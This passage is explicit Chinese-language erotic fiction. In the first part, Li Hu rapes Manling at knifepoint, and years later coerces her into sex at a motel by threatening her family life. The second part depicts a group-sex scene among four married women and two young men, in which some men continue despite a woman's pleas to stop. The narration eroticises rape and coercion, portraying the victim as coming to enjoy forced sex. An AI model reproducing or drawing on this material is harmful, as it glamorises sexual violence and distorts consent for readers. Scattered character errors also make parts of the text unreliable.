  他双手把曼玲约两腿一拉,八字分开,跪到在两腿中间,那根大肉棍子,有六、七吋长,不住地晃动着:「你………你要做什幺………让我回家………拜托……。」

  「哼!回家,还早哩!你舒服过了,也让我爽快,爽快………。」

  他伏身下来,那棍子正顶住阴穴口。

  曼玲觉得全身麻酥,但本能的拚命,想保住门户,不让肉棍子插进里面。

  屁股的扭动,使龟头在阴唇上、大腿内侧上,根上乱顶一阵,更是难过。

  他发怒了。

  猛仰上身,又亮起那把小刀,白光连闪。哼声说:「再动!我就用刀子通你,要刀子还是听话!」

  曼玲心中一冷,她实在怕刀子,怕在身上挨刀割,只有停止反抗,又羞,又气,紧闭上眼睛,眼泪不断地从双手的指缝流了出来。

  两片阴唇被分开,一个肉球顶住了阴核,曼玲潜意识的用手想拨开,却被他的两手按住。

  他的屁股动了,好像一退,突然又向前猛冲。

  一根火热的铁棍猛然插进阴穴里,一阵刀割一般的疼痛,是火辣辣的痛,使曼玲不禁「哎」一声,痛得双泪直流,摇头挣扎,两腿本能的猛蹬,叫了起来:「求你……求求你……饶了我……痛…痛死了………我受不了……求你……求你……。」

  他俯下上身,吻住了曼玲的香唇,两手鬆开,紧捏她的双乳,她拚命的摆头,下身也扭动,想摆脱侵犯。

  谁知越扭,越觉得肉棍子更大更粗,阴穴也越觉得痛楚不勘,只有停止扭摆屁股喘气,哀求着:「求求你……求你……小穴被你挣破了………好痛……哎呀……不要…,不要………。」

  他低下头去,看见她的阴户口,被自已的鸡巴迫的四边张开,那阴穴像橡皮套似的,紧紧的把龟头夹住,夹得又痒、又酥,好不舒服,那管她的浅叫低呼。

  他索性将阳具全根顶了进去。

  但见曼玲的腿、小腹,更抖颤得厉害,尤其是胸前那一对丰满的玉乳,颤颤蕩蕩的一摇一耸,活活跳跳,这极迷人的处女娇态。那不能使人迷惑和兴奋。

  他越弄越起劲,但曼玲越来越难挨,祇见她气喘喘地摆动着细腰和屁股,喊着:你饶了我………。」

  「痛死我了,你……你真狠心……我……。」

  他抬起上身,两掌撑支着,下身猛挺,肚皮碰肚皮、碰得曼玲全身酥麻,两腿发抖。

  一阵子,猛起猛落,大插大抽,一下比一下重,阴穴里头也渐渐酥爽起来。

  曼玲只有紧紧咬住牙齿,呼吸也越来越粗促。

  忽然,他猛地伏在她的身上,紧紧扳住她的肩,全身抖动连打冷战,下体紧压着曼玲,一股热流直射阴穴里面。

  风雨虽停,花蕊已落,李虎剥夺了曼玲的贞操。

  从此而后,曼玲只有屈服在李虎的淫威下,也在一通通的电话催促里,提供身体作为李虎淫慾的洩具。

  她心里恨透了李虎,可是她不敢不听话,因为李虎是她那地区的老大,在恶势力的笼罩下,一个弱女孩只有认命。

  一直到了李虎的「案」子犯了,在争夺地盘的大械斗后,李虎被捕,判了刑坐了牢。

  这一关就是十几年,如今他已经出来了…………

  从冗长的回忆里,重新回到现实中的曼玲,长长的嘘出了气,时间也差不多了,她要去赴六点锺的约会。

  西边的日头只剩下了半边脸,薄薄的残晖,透过正面的那排老树枝桠,照射在耸立的墙壁上,一片绚丽彩光,说不出的一种惆怅和单调,有种「盛极而衰」的味道。

  向手心呵了一口气,李虎用力的搓着那双生了硬茧的粗手,伸下懒腰,慢慢地由门廊子下面站起来,对着路肩的那部刚到的轿车走过去。

  曼玲迅速地推开了车门,李虎也很快地溜进了驾驶座右边的位置,车子又开向了郊区的路上。

  穿着T恤和变灰的蓝色牛仔裤,李虎的肚子突出,稀疏的头髮涂满了廉价髮油,一阵汗臭和不洗澡的气味袭向她。路灯的亮光从车窗射进来,把李虎的脸映得有点阴险。

  曼玲不知如何开口。

  「李虎,你知道我结婚,我有一个家庭,我不能像以前那样………。」

  李虎的手重重的放在她的膝上,用力压着:「古锥的,不必讲,先吃饭,我有钱,我请客,吃过了再说。」

  「李虎,我有了孩子。」曼玲用哀求的声音说:「我的婆家,我的丈夫对我管束的严………」

  「没有关係,有了孩子又怎样?你知不知道?你看起来不像有了十几岁孩子的母亲,你大腿的肌肉一点也没有鬆软。」

  他饥渴地盯着她的胸脯,令曼玲感到血液涌上了面颊。

  「妳的胸脯还是那样饱满,待一会我就可以看看生过三个孩子以后,是不是还像从前那样坚挺。」

  「你,你何必一定找我呢?你有很多漂亮的女孩……。」

  「哈哈,你知道吗?她们有的不成熟,有的没有经验,没有比漂亮又成热的女人更好的,而你嘛!嘿嘿……」

  那只手压的更紧更重,都位也从腿部到了大腿根。

  「我已经老了,快四十岁了。」曼玲哀求着:「可是,你看起来连三十岁都不到。」

  她只有顺从地依着他,把车子开向李虎指定的路上,在林荫道上滑行。他说:「只要一个钟头就好。」他摇笑着。

  「不过,假如你也喜欢,我们可以有两个钟头。」

  曼玲的喉咙发乾,但她必须忍耐,必须表现对他顺从,因为她的幸福和将来,握在他的手里。

  「李虎,你放了我吧,今天不要这样,我……我的经期……」

  他转头望着曼玲,露牙笑笑:「嘿嘿,我不是苛求的人,将就一些,别有风味。」

  终于车子驰入汽车旅当。走进了一间套房,曼玲又提出了哀求,是最后的乞求:「李虎,求求你放了我,我愿意给你一笔钱,我发警,我把我的私房钱统统给你。」

  「笨女人,」他终于咆哮起来:「我要的不是钱。」

  他随着开始解开皮带,用头看她。

  曼玲呆坐在椅子上,一点动静都没有,他又吼叫:「把衣服脱了,要不我来撕………」

  曼玲想声呻吟,李虎且开始伸出了魔爪。

  他先把自已脱个光溜溜,一根肉棒早已怒涨如铁棍,在一丝不挂的下体蕩恍,以一种征服者的傲态,迫视着曼玲的动作。

  曼玲颤抖着,慢慢解开了衣服,上衣掉下,胸前丰满成熟的豪乳,坚挺的抖动着。

  在一声声兇恶的吼声下,曼玲一件又一件继续脱,不久她全身的衣服脱得清洁溜溜。

  其实曼玲在恐吓下解带宽衣,在心理上已经饱受了刺激,再看见李虎那根又黑又粗的大阳具,已使她心中有一股强烈的冲动,慾火逐次高涨,阴道里已经湿润润的,正想有男人的大鸡巴来插弄一阵。

  她这时候闭着双眼,呼吸急促的娇喘,粉脸羞红的低着,可知已经春情激蕩,心情混乱,娇豔如花,风姿迷人。

  一对肥白胀满的大乳,丰满极了,两粒红豔的奶头,挺立在前面,全身成熟丰满,雪白细嫩的肌肤,修长的粉腿,大腿根部的小丘肥满美极,浓密的阴毛在雪白胴体的对比下,更显得诱人至极。

  真的,曼玲的身体决不像有过孩子的妈妈。

  李虎「嘿嘿」一笑,双手从背后伸到前胸,一把握住两颗大乳房,又搓又揉,手指也捏着那两粒奶尖,再将头伸过去,紧紧吻住她的樱唇,吸吮着她的香舌。

  曼玲被摸得浑身不住的颤抖。

  李虎此时慾火烧炽着全身,大难巴早已硬得涨痛,非得一洩不快,不再播弄,双手托起曼玲的娇躯,往床上一放,曼玲也就四平八稳地仰天躺着。

  忙低下头,用嘴唇含住那粒豔鲜的大阴核,又舐、又咬,一双毛手抓住两颗大乳,又摸、又揉。

  垒玲被李虎搽得全身发抖,阴核披吮吸的全身软麻,已无反抗的力气,只有摇动肥臀,左摇右摆,麻痒欲死,淫水直流,口中娇呼:「李虎!你不要这样………我有家、有丈夫………有孩子的人………不能做出对不起他们的事………求求你,放开我………让我回去,拜托,拜托………我求你,求你让………喔………啊………噢…………。」

  「不行!谁叫妳长得这样动人,我想你已经想了十多年,我在狱中也没有忘记过,现在,我要好好的享受一下,妳又不是没有被我插过,续一续旧情,现在的社会,那一个女人没有一两个情夫,只要你做得秘密些,不声张,有时换口味,又有什幺不可以?嘻嘻!」

  曼玲娇喘呼呼的挣扎着,一双大乳不停地抖动。

  「啊!啊!不要!不行!求你!求求你……不要………。」

  她此时春心蕩漾,全身发抖,边挣扎边娇吟,真惹人心痒,太美太诱人。

  曼玲的阴毛浓密乌黑,又粗又长,有点捲曲,将整个阴丘包得满满,下面一条肉缝,若隐若现,红通通好像少女的家伙。

  肉缝上已经缀满了水珠渍,小阴唇一张一合,好似小嘴巴想吃奶。

  李虎一看神情,知道该下手了,于是站起来,顺手拿起床上的枕头垫在曼玲的丰臀下面,把两条玉柱般的粉腿用力拉开抬高,用手拿着肉棍子对正阴穴,用力往前一挺,「滋甫!」一声,大龟头应声而入。

  「啊!痛!痛死我了!」

  曼玲被李虎挑动了春情,性慾早就高昇到狂热的地步,心里本来就希望有一支鸡巴来止痒。

  想不到李虎的鸡巴在经过十几年牢中生活后,还这样有力,而像一只饿狼一般的又勇又猛,虽然自己已经生育过,但天生就很紧很小,这一插进,他当然吃不消,额头上也因而冒出了冷汗。

  李虎感觉大龟头被一层暖暖的、细细的嫩肉紧紧夹着,爽快极了,想不到生了孩子后的曼玲,还和十几年前那时候一样够味,心里更不捨让她离开。

  「哼!」李虎双手将粉腿推向双乳上方,使曼玲的阴户更形突出,再一用力,大鸡巴又进入三寸。

  「啊!噢!好痛……唉哟!哎呀!喔!喔!」曼玲娇呻不停。

  「嘿!嘿!好些吧!还有一寸没进去嘿!等一下………全进去,妳就会舒服了,你会痛快死了………。」

  又一次,鸡巴终于全根而没,大龟头抵住花心,曼玲又一次全身颤抖,阴壁紧紧地咬住了阳具,阴道紧缩,一股热热的淫水,直沖而出。

  「啊!啊!舒……舒……服……快……快用力……插……都给………给你……啊!啊!哎!哎!」曼玲的淫性暴发,再也禁不住,哀求也变质了,扭动着细腰肥臀,双手紧紧抱住李虎,双脚也紧缠着男人的腰。

  「哦!啊!美……美死了……大鸡巴碰到……花心……啊!舒服……爽!爽!」

  李虎依然不理曼玲的感受,狂抽乱顶,把曼玲顶得欲生欲死。眼前一黑,头门一晕,便不省人事。

  李虎威风凛凛,双眼正迷迷地盯着身下的女人,嘿嘿邪笑。

  当曼玲甦醒过来时,已经又是一段时间过去了,只感觉到阴户里被插得又酥又痒,畅快无比,那粗大的龟头插在阴穴里顶住花心,使她双腿酸软,浑身哆嗦。

  「哎!冤家,插吧!索性………插死我好了………哎………啊………哎哟!哎哟!我……我要死了……喔………喔………哎……嗯…………。」

  在李虎的大干特干的狂态下,曼玲又被引进疯狂的状况,挺着、扭着、叫着、喊着,一次又一次的丢了又丢。

  她歇斯底里一般的叫起来,粉脸嫣红,媚眼欲醉,她已径欲仙欲死,淫水直冒,花心乱颤,肥臀拚命摇摆,挺高,配合男人的抽插。

  李虎也像发了狂,像野马、像饿虎,搂紧了曼玲,用足气力,拚命急抽猛插,肉棍子直上直落,雨点一般,沖击在曼玲的花心上,「滋甫!」声不停。

  含着鸡巴的骚穴,随着抽插的节奏,一翻一缩,骚水一阵阵地泛滥,顺着白嫩的屁股流在床单上,湿了一大片。

  一阵抽搐,一洩如大江水,双手双腿一鬆,全身瘫痪。曼玲已精疲力尽,休克了,像她那样养尊处优的生活下,那经过这样的狂风暴雨,紧闭双眼,香汗淋漓,只有肥大的乳房,随着微弱的呼吸,一抖一抖。

  

  

  ——————————————————————————–

  在某郊区,景緻幽美,没有都市的吵噪,空气清新,令人心神舒畅,富商绅士,都在此区购置休闲产业,建筑别墅,以夸耀财富。

  秀馨的生活富裕,不愁吃、不愁穿,儿女又不需自己照顾,所以在空暇的时间,也祇好找几个朋友聊聊天,或是打打牌,来打发时光,以解寂寞和无聊。

  但到了夜静人寂的时候,一个人睡在床上,真有孤床难眠,床空被寒的感觉。

  徐徐的清风,带来淡淡的一阵荷叶香气。

  秀馨独自凭窗而坐,临池一面的落地纱帘透过春光,可见到绿油油的一片荷池。

  「铃,铃,铃………」电话铃晌,懒洋洋地秀馨拿起了话器,对方传来了挚友「曼玲」的,声音:「喂!怎幺啦!还在睡呀!太阳晒屁股了,昨夜太累,是不是?没有起床呀!」

  「没有啦!一个人无聊,发呆了。」

  「怎幺!老公又出去了?」曼玲惊讶着:「是呀!有什幺办法,他说工作忙,不能休息呀!」

  「忙!忙好呀!赚钱嘛!还嫌不好,哼!」

  「哎!我宁可不要那幺多,我希望有人陪我,你有时间,来陪我聊聊吧!」秀馨邀请曼玲。

  「好啊!打麻将,有没有兴趫,邀清枝他们一起来。」

  「好吧!反正无聊。」

  没多久,曼玲开着自用车,载着清枝和另一美豔妇人到了。秀馨认得她是「惠琴」—同班同学。

  交代了女佣「江嫂」準备晚餐,拉好牌桌,四个人坐上了牌桌,方城大战开始。

  八圈摸下来,已经是深夜,秀馨从厨房端出江嫂回家前準备好的宵夜,边吃边聊着:「好久没打牌,好像很累人,你们几个今晚就不要回去,在这里我也有个伴,怎样?」秀馨怕孤单要求着:「好啊!」清枝首先讚成。

  「我正有此意。」曼玲附和着说:惠琴虽然心里不怎样,但没有反对,事情就这样决定下来。

  由于别墅地大,空旷无人,一人独眠心中害怕,大家同聚秀馨的香闺,四人细谈处境倾诉心声,空自叹息,无人慰藉。曼玲等三人毫不讳言的将上次北上探险的事蹟又提起来。

  「对了!我们为什幺不来再一次呢?」

  「再一次!」惠琴眼睛一亮,想起新交的男友——伟民,提议邀来同乐,狂欢。

  又是一天的下午,她们四人一直摸到夜晚,吃过了晚餐,各自依着沙发休息,佣人也回去了,只有几条狼犬在庭院里外,没有其他的人。

  一辆崭新的轿车,停在别墅门前,「叭,叭,叭……」依照约会的暗号鸣晌,惠琴说:「来了!他来了!」站起身和秀馨走向玄关。

  大客厅里厚厚窗帘放下来,隔绝了房内的春光,窗门都上了锁,屋子里的暖气有点热,赤裸光溜的四个美妇和两个英俊、壮硕的青年,他︵她︶们要作游戏。

  由于生活的富裕,又善于保养,成熟的风韵,绝非少女所能比拟,而各人的外貌及胴体美,实在令人如痴如狂,神魂飘蕩。

  惠琴:姿容秀丽,一笑两个酒涡,娇豔妩媚,樱唇香舌,细语娇声,悦耳动听,皮肤光滑细緻,乳房挺耸,弹性良好,乳尖红豔,身材修长苗条,阴毛在小丘上乌黑发亮,浓密密地包着全三角区及阴唇两侧,臀部肥圆,粉腿修长,一双眼睛水汪汪。

  曼玲:高贵雅丽,风姿万千,皮肤雪白娇豔,柔细光滑,乳房高耸丰美,乳头略大而红,乳晕部粉红诱人,平坦的小腹,微显淡淡花纹,阴阜似馒头高凸,阴毛微捲曲,浓稀适宜,倒三角形的下阴部微微可见,豔红的阴核,玉腿健美,屁股略翘,走起来,左右摆摇。

  清枝:有一头略带棕色的捲髮,皮肤白皙,鼻樑挺秀,有混血种的健美身材,有一对尖挺的肉弹,和一座稀鬆的阴毛,柔软异常,有条不紊的排列在小丘上,一颗突出的阴核,高悬在阴穴的上端,双手纤细,细腰盈盈,一双玉腿粉粧玉琢,细緻可爱。

  秀馨:瓜子脸,大眼睛,清秀可喜,身材高大,双乳如柚,臀部高高翘起,有一对修长大腿,腋毛及阴毛都很浓密,小腹平坦,肚脐很深,阴唇外翻,似性慾很强。

  「好了吧!别慢吞吞好了,要怎样分配,快点说吧!」惠琴对着伟民说:「等一下,嗀我们先调情,等有了情趣,再开始。」

  「可以,我们听妳的,不过,我们怎样玩呢?」清枝插上了嘴。

  「你放心,我有办法,一定使你们四个人都痛快,绝对公平,童叟无欺,同嚐甜头。」

  「好吧!你就安排吧!」曼玲说:伟民走向桌边,拿来纸、笔,写好四张籤。

  「各位美丽可爱的女士们,我现在做了四个籤纸,分别是一、二、三、四号,请四位来抽,抽中单号的由我来服务,双号的由小丁来代劳,玩的方法,由我和小丁来决定,各位要绝对服从,不得反抗。」

  结果,曼玲和清枝抽中单号,惠琴和秀馨是双号。

  于是伟民叫小丁仰卧在床上,再对惠琴和秀馨说:「惠琴姐,妳桍坐在小丁的头上,把小穴放在小丁的嘴上,双手拨开阴唇,让他替你舐穴,秀姐跪在小丁的腿间,用你的小嘴含舐鸡巴。」

  二人一听命令依言而行,惠琴把阴穴对準了小丁的嘴,蹲在他的脸上面,秀馨也跪在大腿中间,一双媚眼死盯小丁那根又长又粗的大鸡巴,伸手抓起俯前含在口中。

  秀馨虽然结婚好些年,但从没有用嘴去吮男人的鸡巴,心里实在为难,但碍于约定不得不照做,好像吮冰棒一样地吮起小丁的肉棒,只是羞得脸上不禁发烧,一股男性的体臭和鸡巴的腥味,刺激了她的情慾,粉颈一上一下,小嘴一张一合地套弄,又用舌头在那龟头尖端小洞上,舐弄一阵,直晃小丁的鸡巴青筋爆起,龟头小洞里流出了舔舔的阳精。

  小丁的嘴巴对着惠琴的骚穴,他用手贪婪地拨弄两片肥厚的阴唇,突然地仰头含住了惠琴的阴核猛舐猛吸,吸得惠琴全身发颤,阴户又被他嘴上的鬍子刺得一阵挛痉,差点把她的灵魂美上了天。

  惠琴忘情的把肥臀往下压,一股淫水从穴内沖击而出,但那股引人发疯的奇痒,并不好受,她咬紧牙,紧握双拳,屈伸玉腿,扭腰旋臀地呻吟,一阵又一阵的淫水,流得身酥骨软,急得不知如何是好。

  「哎哟……哎哟………好人……这……这是……折磨人呀……哟……。」

  「哎哟……哎哟……我痒……痒死了……唔………噢……唔……啊……。」一面浪叫起来。

  秀馨这时不待吩咐,放弃了用嘴吮吸,翻身跨上,用手握住小丁的鸡巴,把自已的肥穴,对準龟头用力的,猛地往下一坐。

  「哎呀!妈哟!好痛………好涨……。」

  小丁的怒涨肉棒,像一根烧红的铁棒,被坐插在骚穴里,被穴里的肥肉紧紧的咬住,而阴穴也被撑得涨涨的,一丝快感,流遍秀馨全身,又麻、又痒、又酸、又酥,说不出的舒服。

  「快!快!奶……摸……摸我的奶子。」秀馨浪叫了。

  小丁停下嘴吮惠琴的工作,双手握住秀馨的丰乳,猛揉奶房和捏弄奶尖,臀部随着秀馨肥臀,一上一下的挺刺,秀馨被顶得媚眼翻白,娇喘连连,花心大开,血液沸腾,一阵酥痒,颤抖着,还不停地扭动大屁股,呻吟着:「哎……哎……啊……啊……好……好舒服,你插死……插死我了……啊……啊……又……又碰到花心了……哎哟,我,我要丢,丢了……喔……喔………。」

  说完一股阴精直洩,一双臂、一双腿,再也不听使唤,瘫痪下来,娇躯软棉无力地压在小丁身上。

  惠琴一看秀馨达到高潮洩精,急忙忙地把她推下,只见小丁阳具还是雄纠纠气昂昂,那龟头粗大赤红,她把自已的小穴,顺势一凑,那火热的东西,便跑进了一节。

  「啊!涨……好涨……。」当小丁的大鸡已被套入的时候,惠琴叫了起来,脸色也有点转白,香汗不禁流下,紧咬牙关,全身发抖。

  她觉得,有一条烧红的铁条,进入小穴一般,涨得全身舒爽,那种酥、麻、酸、痒的味道,要多痛快,就多痛快,粗大的龟头,在一进一出的时候,磨擦着阴道内壁,产生美妙快感。

  「好,好舒服……好美……。」她慢慢地扭动腰肢,转动屁股,小丁也伸起双手揉她的乳房,鲜红的乳尖,有葡萄一般大,艳丽耀眼,使人爱不释手。

  小丁挺起屁股,用力往上一顶,一根大难巴进入了骚穴。

  「哎哟!轻点……会痛,痛呀!」美目一翻、娇嗔连连,娇喘吁吁……媚极了,也淫极了。

  「啊……啊……唔……唔……美…美极了……哎哟………哎哟啊!」

  当龟头碰到了她的花心,惠琴就情不自禁地浪声叫喊,俯下上半身,把小丁抱得紧紧地,抽搐着全身。

  她一面浪叫,一面疯狂地上下那把屁股,拚命套动,动作愈来愈激动。不时地转动,阴壁随着收缩,花心吸吮小丁的龟头,舒服得小丁也直叫:「好……好工夫……舒爽极了………套重些,吸……再吸……喔……喔……快动……快动……。」

  「小丁,我……我……不行了……我要死了…。…被你顶死了……唔……好……好美……哎哟………哎哟……我洩……洩了……啊!啊!噢………。」浪声未完,一洩如注,淫水把两人的阴毛流得湿湿,她也颤抖着娇躯,精疲力尽的压在男人的身上。

  曼玲、清枝和伟民三个人,开始是站在一边观赏,但到惠琴喊叫、浪吟时也忍不住了。

  伟民要清枝半依半坐地靠在沙发上,双腿弯曲分开,叫曼玲站在椅前,用手指在清枝的阴户上,捻动着她的阴核和阴唇,清枝的细腰急速地扭动起来,肥臀也随着左右摆动,不一刻便使清枝的淫水汨汨流了出来,声里不由自主地喊叫起来。

  伟民轻轻地按曼玲的上身俯下,把雪白肥嫩的屁股高高声起,伟民从背后伸手,在曼玲的玉乳上搓弄了一会,又把手移到大腿上,从膝部逐渐上侵,不久摸在那圆滑、香肥的肥臀上,慢慢分开屁股缝,手指在阴户上尽情轻薄,不停地在阴阜、阴核、阴毛及阴唇里外挑弄着,不一刻,曼玲的淫水也流满骚穴口和大腿根。

  他小心把阳根对準阴穴,慢慢塞了进去。

  曼玲更是主动地把肥臀往上直凑,阳具也顺水推舟地一下插到尽根。

  粗大的龟头,紧紧顶着曼玲的花心,她好像中邪一般,浑身发酸,呼吸也急迫起来。

  约莫一分钟后,伟民开始抽送。力道由轻而重,速度也逐次加快,阳根龟头好像琢食一般,一次又一次,接连不断在沖撞花心,弄得曼玲发出一连的颤抖,淫水也一阵阵地猛流。

  她摆动着屁股迎上,使龟头更深入些,那股酸、酥、痒舒的滋味,早把曼玲的淫慾提升到绝顶,左摆右幌,嘴里浪叫狂喊个不停:「啊啊……美死了……小穴……被你插破了……哎哟!啊!你插得………骚穴爽极了……啊……啊……我要……要昇天了……唔……嗯嗯………唔唔………哎……。」

  听着这浪叫,他的抽插更是猛烈,愈发兇恶,只觉得子宫一阵子蠕动,一股美妙的感觉涌上曼玲的心头,她不要命地挺了挺,热流从子宫里汹涌发洩,人也发酥,慢慢地瘫痪了。

  清枝迷着美眼,偷偷地看那刚从曼玲骚穴里拉出的大难巴一眼,大叫:「噢,哎呀!」一声,不待清枝再开口,那大鸡巴已经转移了阵地,对正着清枝的小穴:「滋!」的一声,插进。

  「啊………天哪……插死人了……喂!你……停一停,哎哟!哎哟………」,清枝被他插得差点晕过去。

  他的兴緻正高,那能听话,不但没停,用力把清枝按住,一挺一缩抽送起来。

  「哎哟………哎哟……快停停……拜托……求你……哎哟!不要插了……再插小穴要破了……哎哟……啊……噢……不好……小穴破了……小穴穿透了……哇啊!……死了,死了……啊啊……哎哟……啊啊……完了……完了……唔啊!」

  她没命地喊叫,龟头也顶上了花心、顶得热血沸腾,全身快要炸开了似的,喊叫变成呻吟,挣扎的力量都没有,他依然狂抽乱顶,一点都不知怜香惜玉,把清枝插得欲生欲死,眼前一黑,脑门一晕,便不知人事,只有热热的微黄的泡液,从骚穴口冲出来。

  经过了一阵子的休憩后,大家醒转过来,伟民又提议来一个轮番下战,伟民要四个女人,依床边仰天躺下,四个肥美的大屁股沿床边,一双玉腿踏着地面,小丁找来了枕头,每人臀下垫一个,把玲珑有緻的阴穴对着灯光高高挺起。

  伟民抓起惠琴的粉腿撒开,将小腿放在肩上,挺棒猛刺,「滋!」一声,「啊!」一声惨叫,大肉棒插进小穴,他不管惠琴的感受,用力猛插狠抽。

  「啊!啊!你要插死人了……你会搞死我啊……喔……喔……好美,啊!啊!小穴,被你干的………要爽死了……哼!哼!好啊……用力顶……顶花心,唔!我又要洩了………我不行了……不……行………了……。」

  伟民适时抽出鸡巴,走到秀馨的跨下,用同样的方式猛插她,祇见,秀馨花容失色,淫声浪哼:「哎呀!好人,我……我被你插破了……我的穴………快……快被插穿了……饶了我吧!」

  秀馨的大叫和骚媚淫态,使他更加兇猛的狠干,一下比一下重,一下比一下狠,好像真的要插破她的骚肥穴似的,这一阵急干,引起她的淫水像自来水一样的外流,她被弄得半死不活,不停抖动了全身,淫水也弄湿了床单。

  他重新回到半瘫卧着的惠琴这边,也发现了惠琴的淫水正大量地往外冒,真想不到这个骚包,真骚,真浪!

  他不冒然掉进去了,他要吊惠琴的胃口,使她的慾火大炽。

  一手握着鸡巴,一手分开了她的大阴唇,将龟头抵住穴口,用手指捏弄惠琴的阴核,不久,她被逗得又是浑身如火,全身扭不停。

  只听她轻喘着说:「哎呀……好哥………你……你真会逗人……你还没有……插……我就爽起来……你真……真是我……我的魔星……你是插穴专家……干王……啊!啊!噢!哼!」

  捏按了一阵子,惠琴又如黄河决堤,大股淫水流啊流的,她不禁抖声哀求了:「好哥……别……别这样……吊胃口……我……我要……我痒死了,你行好……积积德……快插进去……哎呀!哎呀……痒……痒!好像……好像有虫在爬……我吃不消………要命呀……啊……。」

  他的心里在乐,趁惠琴在哎哟哎哟的叫个不停的时候,腰部一用力,猛一插,插在穴心,插得她全身突然一震。

  稍喘一口气后,叫着:「好人……哎哟……哎哟……你……你真要插死我啦!哎!哎!酸死了!酥死了………。」

  他用「九浅一深」的工夫,或轻、或重,弄得她又叫又哭,随着插抽,不住地挺动屁股迎合。

  「我……我不想活了……哎呀!哎呀!你顶死我了……我太舒服……舒服了……好痛快……好痛快……你插死我了。」

  她的肥臀扭摆,迎凑更频、更密。

  只听见「滋甫!滋甫!」的插穴声音和娇喘声!

  淫水顺着屁股,又淹湿了一大片。

  他全身汗毛直立,舒服透了,快感来临,全身一畅,精门大开,精水似自来水一般直射入惠琴的子宫里。

  

  

  ——————————————————————————–

  小丁找上了清枝,他蹲在床前,一手摸着那对玉乳,另一手在阴唇缝中,开始钻探工作。

  清枝经他一阵搓揉,呻吟起来:「喔!啊!痒哟!痒死了!右边,右边,对!对!用力些,好!好!啊!好美……美极了……哎哟!轻些,嗯!啊!好,好,妙,妙极了………。」声音迷人。

  只见她口角含春,媚眼瞇瞇,玉体扭摆,柔软丰满的骚穴,火辣辣地有点烫手,显然地,她的慾火又被驱动了。

  肉缝里愈来愈润湿,她快要忍不住了。

  忽然仰起上身,她紧紧地抱住小丁,不停的狂吻,舌头吸吮着舌尖,整个身体轻抖着。

  小丁凝视着那丰满的胴体,细白肌肤,平坦小腹下的一片阴毛,像羽毛般的轻柔细细,那阴沟两边的阴肉略向外翻,一丝丝细流,从那粉红的沟渠中外洩着。

  他似饿虎扑羊般,猛扑而上,压在清枝身上,大鸡巴一颤一颤,雄猛异常。

  她更张大了双腿,迎对小丁,阴穴对正了鸡巴,他挺腰前进,「滋甫!」一声,只觉得大鸡已被紧紧夹着,有说不出的美好快感。

  停顿了微些时间,那根大鸡巴就好像脱疆野马,快速地在平坦的草原上奔驰,愈奔愈有了劲。

  插得清枝的樱桃口不停地喊着:「哥!哥………」

  小穴且「滋甫!滋甫!」地相应着。

  清枝的双腿,不自觉地高举,勾住了小丁的屁股,圆臀悬空,向上迎凑,你来我往,丝毫不让。

  小丁此时也发疯一样,插得愈发起劲,有时把鸡巴紧顶在阴户中,转着屁股揉把清枝的屁股压的更加宽大,呼叫声也更加淫蕩。

  清枝被他连连抽插了数百下,已是满脸红润,娇喘嘘嘘,浑身酥酸,说不出的美感和爽意,一阵又一阵侵袭了清枝的全身,她叫起来了:「哎!哎!好……好……真好……真美……真捧,…好舒服……好美妙………美极了………啊!啊!喔!唔!好美。好美………美死了………哎哟!我………我要昇天………昇天了………啊………哎………啊……。」

  清枝疯狂地叫,尽情地喊,真骚!真浪!

  「哎哟!哎呀!大鸡巴………大鸡巴要……要插死人了……实在……实在大狠了……太勇……太猛……哎呀!哎!你把小穴插烂……啊……哎!啊!哎呀………。」

  小丁当然不理她,他仍然猛烈的抽插,顶花心,搓揉阴核珠,他要她投降在他的淫威下。

  清枝打个寒噤,叫道:「好哥!哥……哎!哎哟!哎哟!我……我不行了……爽……爽死我了……哎呀!哎呀!真不行了,我………我快要丢………丢了………用力……重一点……对!对!……顶住……不要动……顶紧……好!好!噢!噢!啊!」

  她急速地抖动,好像疯了一样,摇着,好像中了邪!

  「啊!哎!哟!洩了!丢了!哎哟!哎哟!美极了………美死我了……爽!爽………。」

  阴穴一阵阵地吸吮,阴壁像地震时的楼房似地抖着,子宫口对着他的龟头,流下了浓浓的阴液。

  小丁用龟头顶住了子宫口,轻轻地,慢慢地用龟头磨着,使得清枝的灵魂都飞上了天空,全身酥爽,不禁随着鸡巴在穴内的旋动速度,摇动着肥臀配合。

  「利害!好哥!……你真利害……你的……你的大鸡巴……不能再转了……再转……我的小穴的水……都流……流乾了……求求你……饶了我………饶我………。」

  「哎!啊!太好………太好了,大鸡巴把妹的骚穴………插开花………啊……啊……不要磨了……磨死我了……爽!美!哎呀!哎呀!好哥……哥…我要叫……我要叫………。」

  她的声音越来越低越弱,终于成为低低的呻吟,然后再也听不清在叫些什幺。

  她已爽昏了,美的昏了过去。

  曼玲在清枝的旁边仰躺着,欣赏小丁和清枝的精彩节目,不禁自主地用右手抚摸自已的奶房,左手按在丰满而浓密阴毛的阴阜上,自行揉动着。

  小丁站起身走向她。

  「来!现在轮到你了。」

  于是两人扭做一团,轻怜蜜爱,温存好一会,曼玲的阴户已洪水泛滥,汪洋一片。

  小丁抱起曼玲,右手托起肥臀,走近床沿坐下,曼玲张开一双玉腿,骑马一般,坐在他的怀中,左手抱着他的颈子,右手扶着大鸡巴,对正自己的阴户,小腹微挺,主动去就小丁的龟头,由于淫水的润湿,阴户相当滑溜,未几,一声「滋甫」,阴穴吞进了整根肉棒子。

  骑马般地坐在小丁腿上,立即觉得鸡巴头,直顶子宫口,一阵酸麻而略带涨痛的滋味,使曼玲心神一颤,秀肩微皱,美眼瞇瞇,樱口略启。

  她闭上美眼,臀部开始一前一后的摇晃,于是那肥美的阴户就在小丁阳具上,一下又一下的套动起来,由慢渐快,摇晃了数十次后,双手紧抱小丁的背部,臀部的动作由摇变成上下的起落,口中也开始发出哼哈的浪声,毫无疑问地,她的淫兴被启发。

  果然,不一会儿,哼声逐次变大,呼吸愈形急促,屁股起落也愈加速,淫水沿着鸡巴流下,弄得小丁的阴毛全湿,白色的泡沫流湿了大腿。

  她愈动愈感全身控制不住,从阴穴里传遍全身的那种滋味,使她忘了一切,只能低呼:「快!喔!动………好,好美……好爽,啊!啊!」

  她闭目凝神,似在享受无限的乐趣,肥白圆润的屁股,又从一起一落变成团团旋转方式。

  小丁抱住曼玲一滚,恢复正常位交合的姿势,双手托着曼玲修长玉腿的腿弯,使骚穴抬高些,也张的更开,挺起大鸡巴猛力抽送,採取主动攻势。

  曼玲在他的强攻下,开始摆头呻吟,双手紧抓枕头,似在极力忍受被强插猛干的美好滋味。

